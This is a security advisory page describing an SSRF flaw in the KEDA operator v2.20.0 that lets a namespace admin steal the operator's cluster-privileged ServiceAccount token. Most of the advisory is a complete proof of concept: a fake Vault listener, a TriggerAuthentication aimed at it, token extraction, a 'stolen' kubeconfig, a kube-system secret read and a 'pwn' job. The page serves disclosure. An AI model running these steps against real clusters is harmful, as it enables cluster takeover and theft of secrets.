-Infinity
0

Vendor Risk Score

See how keda compares to other vendors in security performance

View Risk Score →

Software

Severity
9.9
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

A namespace admin who creates a TriggerAuthentication and a ScaledObject in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds [""]/[""] get cluster-wide, so it reads every Secret in every namespace, plus batch/jobs and horizontalpodautoscalers create/delete cluster-wide, /scale update on any workload, validatingwebhookconfigurations update (rewrite or disable cluster admission), and apiservices update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide batch/jobs create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as kube-system , kyverno) to reach the node filesystem and a control-plane kubeconfig.

This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with system:serviceaccount:, which the operator's own projected token satisfies by construction. The destination field hashiCorpVault.address is unvalidated.

Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8

Verified live

kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest keda-2.20.0.yaml (ghcr.io/kedacore/keda:2.20.0), default settings.

Preconditions

1. The tenant holds create on triggerauthentications.keda.sh and scaledobjects.keda.sh in its own namespace (the documented KEDA tenant workflow), plus the built-in edit ClusterRole in that namespace. Often granted by a namespaced admin Role (--verb='' --resource='.') in multi-tenant environments. 2. KEDA is installed with default settings.

Reproduction

Cluster preparation (not part of the attack)

sh kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig export KUBECONFIG=./kubeconfig

Install KEDA v2.20.0 (unmodified vendor release manifest). curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml kubectl apply --server-side -f keda-2.20.0.yaml kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s kubectl -n keda rollout status deploy/keda-operator --timeout=180s

Tenant identity: namespace admin in tenant-a. kubectl create namespace tenant-a kubectl -n tenant-a create serviceaccount tenant kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant

Mint a tenant kubeconfig from a real TokenRequest token. SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}') CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}') TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h) cat > kubeconfig-tenant <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: tenant context: { cluster: kind, user: tenant, namespace: tenant-a } current-context: tenant users: - name: tenant user: { token: ${TOKEN} } EOF

Seed a "secret" canary in kube-system to make impact self-evident. kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e

Attack

1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP PUT, so the listener must accept all methods.

sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: v1 kind: ConfigMap metadata: { name: fake-vault-src, namespace: tenant-a } data: vault.py: | import http.server, socketserver, sys, json class H(http.server.BaseHTTPRequestHandler): def logmessage(self,a): pass def h(self): ln=int(self.headers.get('Content-Length') or 0) body=self.rfile.read(ln) if ln else b'' sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush() r=json.dumps({"auth":{"clienttoken":"s.poc","leaseduration":3600,"renewable":True,"policies":["default"]}}).encode() self.sendresponse(200); self.sendheader("Content-Type","application/json"); self.sendheader("Content-Length",str(len(r))); self.endheaders(); self.wfile.write(r) doGET=doPOST=doPUT=doDELETE=doOPTIONS=doHEAD=h socketserver.TCPServer.allowreuseaddress=True with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serveforever() --- apiVersion: v1 kind: Pod metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } } spec: containers: - name: vault image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203 command: ["python3","/src/vault.py"] volumeMounts: [{ name: src, mountPath: /src }] volumes: [{ name: src, configMap: { name: fake-vault-src } }] --- apiVersion: v1 kind: Service metadata: { name: fake-vault, namespace: tenant-a } spec: selector: { app: fake-vault } ports: [{ port: 8200, targetPort: 8200 }] EOF kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s

2. Create the TriggerAuthentication (the primitive) and a ScaledObject with a cron trigger referencing it. With authentication: kubernetes and no credential block, KEDA defaults credential.serviceAccount to the operator pod's own token path.

sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: keda.sh/v1alpha1 kind: TriggerAuthentication metadata: { name: vault-auth, namespace: tenant-a } spec: hashiCorpVault: address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation authentication: kubernetes mount: kubernetes role: poc secrets: - { parameter: anything, key: anything, path: secret/data/anything } --- apiVersion: keda.sh/v1alpha1 kind: ScaledObject metadata: { name: poc-so, namespace: tenant-a } spec: scaleTargetRef: { name: poc-target } pollingInterval: 5 minReplicaCount: 0 maxReplicaCount: 2 triggers: - type: cron metadata: { timezone: UTC, start: "0 ", end: "30 ", desiredReplicas: "1" } authenticationRef: { name: vault-auth } --- apiVersion: apps/v1 kind: Deployment metadata: { name: poc-target, namespace: tenant-a } spec: replicas: 1 selector: { matchLabels: { app: poc-target } } template: metadata: { labels: { app: poc-target } } spec: containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }] EOF

3. The operator reconciles the ScaledObject, builds the scaler, resolves the authenticationRef, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:

sh sleep 20 kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT' VAULT-LOGIN PUT /v1/auth/kubernetes/login {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}

4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:

sh STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \ | sed -n 's/."jwt":"\([^"]\)"./\1/p' | head -1) cat > kubeconfig-stolen <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: stolen context: { cluster: kind, user: stolen } current-context: stolen users: - name: stolen user: { token: ${STOLEN} } EOF

kubectl --kubeconfig=./kubeconfig-stolen auth whoami Username system:serviceaccount:keda:keda-operator

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d KEDA-F1-CANARY-7f3a9c2e

The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system. kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60' job.batch/pwn created kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn pwn-q5j5s 1/1 Running 0 8s

Root cause

A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.

1 / 2
Source: GitHub
First published (updated )

Latest version: 2.21.0

First published (updated )

Latest version: 2.20.2

First published (updated )
EOL
Sep 23, 2026

End of life: 9/23/2026, Latest version: 2.19.0

First published (updated )
EOL
Jun 1, 2026

End of life: 6/1/2026, Latest version: 2.18.3

First published (updated )
EOL
Feb 2, 2026

End of life: 2/2/2026, Latest version: 2.17.3

First published (updated )
EOL
Oct 8, 2025

End of life: 10/8/2025, Latest version: 2.16.1

First published (updated )
EOL
Oct 8, 2025

End of life: 10/8/2025, Latest version: 2.16.1

First published (updated )
EOL
Apr 7, 2025

End of life: 4/7/2025, Latest version: 2.15.1

First published (updated )
EOL
Apr 7, 2025

End of life: 4/7/2025, Latest version: 2.15.1

First published (updated )
EOL
Nov 7, 2024

End of life: 11/7/2024, Latest version: 2.14.1

First published (updated )
EOL
Nov 7, 2024

End of life: 11/7/2024, Latest version: 2.14.1

First published (updated )
EOL
Aug 1, 2024

End of life: 8/1/2024, Latest version: 2.13.1

First published (updated )
EOL
Aug 1, 2024

End of life: 8/1/2024, Latest version: 2.13.1

First published (updated )
EOL
Apr 25, 2024

End of life: 4/25/2024, Latest version: 2.12.1

First published (updated )
EOL
Apr 25, 2024

End of life: 4/25/2024, Latest version: 2.12.1

First published (updated )
EOL
Jan 18, 2024

End of life: 1/18/2024, Latest version: 2.11.2

First published (updated )
EOL
Jan 18, 2024

End of life: 1/18/2024, Latest version: 2.11.2

First published (updated )
EOL
Sep 28, 2023

End of life: 9/28/2023, Latest version: 2.10.1

First published (updated )
EOL
Sep 28, 2023

End of life: 9/28/2023, Latest version: 2.10.1

First published (updated )
EOL
Jun 22, 2023

End of life: 6/22/2023, Latest version: 2.9.3

First published (updated )
EOL
Jun 22, 2023

End of life: 6/22/2023, Latest version: 2.9.3

First published (updated )
EOL
Mar 9, 2023

End of life: 3/9/2023, Latest version: 2.8.2

First published (updated )
EOL
Mar 9, 2023

End of life: 3/9/2023, Latest version: 2.8.2

First published (updated )
EOL
Dec 9, 2022

End of life: 12/9/2022, Latest version: 2.7.1

First published (updated )
EOL
Dec 9, 2022

End of life: 12/9/2022, Latest version: 2.7.1

First published (updated )
EOL
Aug 10, 2022

End of life: 8/10/2022, Latest version: 2.6.1

First published (updated )
EOL
Aug 10, 2022

End of life: 8/10/2022, Latest version: 2.6.1

First published (updated )
EOL
May 5, 2022

End of life: 5/5/2022, Latest version: 2.5.0

First published (updated )
EOL
May 5, 2022

End of life: 5/5/2022, Latest version: 2.5.0

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203